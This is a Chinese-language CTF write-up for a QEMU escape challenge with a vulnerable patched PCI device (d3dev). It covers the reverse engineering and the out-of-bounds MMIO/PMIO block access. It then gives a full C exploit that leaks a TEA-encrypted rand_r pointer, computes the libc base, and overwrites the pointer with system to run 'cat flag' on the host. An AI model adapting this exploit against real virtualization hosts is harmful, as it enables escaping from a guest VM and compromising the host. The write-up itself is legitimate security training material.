文章目录
- 参考
- 流程
- 附件
- 检查
- 启动信息
- 逆向分析
- 漏洞
- 查看设备配置信息
- exp
参考
https://x1ng.top/2021/11/26/qemu-pwn/
https://bbs.kanxue.com/thread-275216.htm#msg_header_h1_0
https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYh2xuCllx7whD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4
流程
qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机
启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数
要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag
附件
检查
启动信息
新建文件夹 fs
进入fs 文件夹
cpio -idv < rootfs.img的路径
将解压后的保存在当前文件夹
setsid /bin/cttyhack setuidgid 0 /bin/sh #shell将以root权限执行
逆向分析
qemu文件放入IDA
- 搜索函数名来定位相关函数
- _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types
可以看到相关的一些mmio和pmio的函数
漏洞
opaque转换为结构体
有个tea加密问gpt的 ,将opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]的高32位和低32位加密
opaque->mmio_read_part为1,返回高32位
opaque->mmio_read_part为0,返回低32位
v4 = opaque->seek + (unsigned int)(addr >> 3)如果opaque->mmio_write_part为0会修改opaque->blocks[v4] = (unsigned int)val;
根据addr返回opaque的不同字段的值
addr == 8并且val <= 0x100会opaque->seek = val,addr > 8并且addr == 28会opaque->r_seed = val然后调用((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size);
否则addr不为零就opaque->key清零
- d3dev_mmio_write和d3dev_mmio_read能写读opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]
- d3dev_pmio_write能给opaque->seek赋值和调用opaque->rand_r( &opaque->r_seed)和给opaque->key清零和 opaque->memory_mode = val
查看设备配置信息
exp
//gcc -o exp exp.c -static#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h> unsigned char* mmio_mem = 0;void setup_mmio() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}void mmio_write(uint32_t addr, uint32_t value) {*((uint32_t*)(mmio_mem + addr)) = value;
}uint64_t mmio_read(uint64_t addr) {return *((uint32_t *)(mmio_mem + addr));
}uint32_t pmio_base = 0xc040;void setup_pmio() {iopl(3);
}void pmio_write(uint32_t addr, uint32_t value)
{outl(value, pmio_base + addr);
}uint64_t pmio_read(uint32_t addr)
{return (uint64_t)inl(pmio_base + addr);
}uint64_t encode(uint32_t high, uint32_t low) {uint32_t addr = 0xC6EF3720;for (int i = 0; i < 32; ++i) {high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));addr += 0x61C88647;}return (uint64_t)high * 0x100000000 + low;
}uint64_t decode(uint32_t high, uint32_t low) {uint32_t addr = 0x0;for (int i = 0; i < 32; ++i) {addr -= 0x61C88647;low += (((high + addr) ^ (high >> 5) ^ (16 * high)));high += ((low + addr) ^ (low >> 5) ^ (16 * low));}return (uint64_t)high * 0x100000000 + low;
}int main(int argc, char* argv[])
{printf("[+] Setup\n");setup_pmio();setup_mmio();printf("[+] IO\n");pmio_write(0x8, 0x100); //写 opaque->seek = 0x100mmio_write(8*1,0); // opaque->blocks[0x101]=0mmio_write(0,0);mmio_write(8*2,0); // opaque->blocks[0x102]=0mmio_write(0,0);uint64_t libcbase=0;libcbase = mmio_read(8*3); //第一次会返回这块8字节内存的低4字节,第二次返回高4字节libcbase+= (mmio_read(8*3))<<32 ; //opaque->blocks[0x103]即rand_r函数指针 为qemu进程中的变量此时是qemu进程中的libc中的函数地址libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x41c30;printf("[+] libcbase: 0x%lx\n",libcbase);uint64_t system = libcbase+0x4dab0;printf("[+] system: 0x%lx\n",system);uint64_t enc_system = encode(system>>32, system&0xffffffff);mmio_write(8*3,enc_system&0xffffffff);mmio_write(8*3,enc_system>>32);//opaque->blocks[0x103]往rand_r函数指针 写system函数指针pmio_write(0x8, 0);mmio_write(0,0x67616c66);pmio_write(0x1c,0x20746163); //63 61 74 20 //会调用下面这个 //if ( addr == 28 )// {// opaque->r_seed = val;// key = opaque->key;// do// *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// &opaque->r_seed,// 28LL,// val,// *(_QWORD *)&size);// while ( key != (uint32_t *)&opaque->rand_r );// }return 0;
}
泄露libc后可以去libc-database找,也可以直接通过gdb中计算偏移